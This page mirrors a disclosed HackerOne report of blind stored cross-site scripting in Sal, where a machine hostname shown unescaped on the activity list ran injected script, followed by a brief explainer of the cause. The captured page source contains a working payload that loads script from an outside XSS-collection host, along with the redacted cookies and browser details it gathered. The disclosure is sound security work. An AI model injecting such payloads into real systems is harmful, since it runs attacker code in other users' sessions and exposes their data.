Skip to content
XSS Disclosed report Intermediate CVE-2020-26205

Blind Stored XSS in HackerOne's Sal 4.1.4.2149 (sal.████.com)

The activity list page rendered a machine's hostname without escaping it, so a hostname containing HTML and script markup was stored and executed in the browser of anyone viewing the list. An attacker who could set a hostname on a machine could run script in the context of the Sal application for other users.

Ben Sadeghipour Follow

Originally disclosed on HackerOne

Informational View original
  • Triaged in under an hour
  • Fixed in 36 days
  • Disclosed after 39 days

The page located at https://sal.██████.com/list/Activity/hour/all/0/ suffers from a Cross-site Scripting (XSS) vulnerability when a user has set their hostname on their machine to an XSS payload.

Vulnerable Page

https://sal.██████.com/list/Activity/hour/all/0/

Victim IP Address

███████

Referer

https://sal.██████.com/

User Agent

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36

Cookies (Non-HTTPOnly)

_ga=████████; _mkto_trk=id:███&token:_mch-█████.com-██████; _biz_uid=████████; _biz_nA=2; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%7D; _biz_pendingA=%5B%5D; csrftoken=█████

Source

><td><a href="/machine_detail/28/">███</a></td><td>██████████</td><td class="sorting_1">2020-10-01 06:51 BST</td></tr><tr role="row" class="odd"><td><a href="/machine_detail/17/">███████</a></td><td>██████</td><td class="sorting_1">2020-10-01 06:50 BST</td></tr><tr role="row" class="even"><td><a href="/machine_detail/41/">"&gt;<script src="https://nahamsec.xss.ht"></script></a></td><td>bensdp</td><td class="sorting_1">2020-10-01 06:49 BST</td></tr></tbody></table></div></div><div class="row"><div class="col-sm-5"><div class="dataTables_info" id="test_info" role="status" aria-live="polite">██████</div></div><div class="col-sm-7">

Thanks, Ben

Impact

The original report as published on HackerOne, by nahamsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the activity list inserted the stored hostname into the page without HTML-encoding it, so markup in the hostname was rendered as HTML.

Impact

Script from a crafted hostname could run in the browser of a user viewing the activity list, though the report gives no further detail on what it could do.

What the attacker needed

Ability to set a machine hostname; victim views the activity list page

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A hostname is the name a computer reports for itself on a network. This page showed that name as part of the web page without cleaning it first, so a name that looked like code was treated as code by the browser. That let whoever set the name run their own script inside the site for anyone who opened the activity list.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Ben Sadeghipour

View all

24 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.